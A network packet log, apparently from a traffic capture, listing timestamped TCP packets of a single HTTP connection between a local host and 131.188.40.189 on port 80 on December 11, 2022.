Dec 11, 2022 09:25:06.568484068 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568511009 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568515062 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568547964 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568548918 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568567038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568588972 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568598986 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568603039 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568636894 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568640947 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568674088 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568677902 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568707943 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.571696043 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.571765900 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.588129044 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588188887 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.588397026 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588439941 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.588448048 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588486910 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.588494062 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588532925 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.588537931 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588574886 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.588592052 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588635921 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588680029 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588680983 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.588730097 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.588732958 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588777065 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588816881 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.588819981 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588866949 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588893890 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588905096 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.588942051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.588979959 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.589027882 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589107990 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589154005 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.589154005 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589199066 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589236975 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.589242935 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589287996 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589325905 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.589330912 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589382887 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589421988 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.589426994 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589471102 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589509964 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.589515924 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589569092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589612961 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589613914 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.589658022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589699030 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.589701891 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589759111 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589797020 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.589802980 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589849949 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589880943 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589889050 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.589910984 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.589951038 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.589958906 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.590003967 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.590042114 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.590053082 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.590080976 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.590123892 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.590130091 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.590167046 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.590212107 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.590215921 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.590257883 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.590301037 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.590308905 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.591582060 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.591634035 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.608150959 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608217001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608263969 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608289003 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.608310938 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608366013 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608367920 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.608409882 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608454943 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608462095 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.608499050 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608544111 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608547926 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.608587980 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608633041 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608634949 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.608679056 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608716965 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.608721972 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608766079 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608805895 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.608809948 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608853102 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608896971 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608917952 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.608946085 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608989954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.608993053 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.609035969 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609074116 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.609077930 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609122992 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609159946 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.609168053 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609213114 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609249115 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.609256983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609299898 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609338999 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.609365940 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609388113 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609428883 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.609430075 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609474897 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609510899 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.609517097 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609569073 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609606028 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.609611988 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609694004 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609731913 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.609736919 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609782934 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609818935 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.609827042 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609889030 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609925985 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.609936953 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.609981060 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610017061 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.610023022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610068083 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610105038 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.610110044 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610153913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610191107 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.610202074 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610270023 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610306978 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.610312939 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610361099 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610395908 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.610404015 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610450029 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610487938 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.610492945 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610538006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610573053 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.610582113 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610625029 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610666037 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.610668898 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610712051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610749960 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.610755920 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610801935 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610837936 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.610843897 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610925913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.610969067 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.610975027 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611020088 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611063004 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611076117 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.611108065 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611150980 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611170053 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.611197948 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611236095 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.611242056 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611285925 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611326933 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.611330986 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611378908 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611428022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611429930 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.611474037 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611509085 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.611516953 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611562967 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611608028 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611610889 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.611654043 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611684084 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611690998 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.611740112 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611780882 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.611808062 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.642533064 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.662636042 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.662704945 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.662753105 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.662765980 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.662813902 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.662856102 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.662859917 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.662935019 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.662972927 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.662983894 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663041115 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663077116 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.663084030 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663130045 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663165092 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.663175106 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663219929 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663258076 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.663264990 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663311958 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663346052 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.663356066 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663424015 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663459063 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.663469076 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663512945 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663549900 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.663558006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663603067 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663642883 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.663646936 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663691998 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663728952 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.663734913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663783073 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663819075 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.663825989 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663871050 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663908005 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.663917065 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663960934 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.663997889 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.664005995 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664052010 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664087057 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.664094925 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664139986 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664176941 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.664185047 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664227962 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664268017 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.664271116 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664314985 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664355993 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.664360046 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664417028 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664458036 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.664458990 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664505959 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664551020 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.664562941 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664616108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664649963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664653063 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.664732933 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664764881 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664793968 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664793968 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.664835930 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.664836884 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664881945 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664928913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.664931059 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.664973021 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665011883 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.665015936 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665060043 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665101051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665103912 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.665144920 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665184975 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.665188074 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665230989 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665273905 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.665287018 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665328979 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665373087 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665393114 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.665427923 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665469885 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665471077 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.665514946 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665560007 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665566921 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.665602922 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665644884 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.665656090 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665702105 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665744066 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665754080 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.665857077 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665901899 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665910006 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.665952921 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.665994883 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.665997028 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666043997 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666086912 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666090012 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.666131020 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666173935 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.666174889 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666229010 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666270018 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.666270971 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666316032 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666359901 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666363001 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.666404009 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666445971 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.666446924 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666491032 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666533947 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666547060 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.666578054 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666620016 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666620970 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.666666031 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666711092 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.666711092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666755915 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666795015 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.666799068 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666842937 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666889906 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.666908026 CET	80	49692	131.188.40.189	192.168.2.3
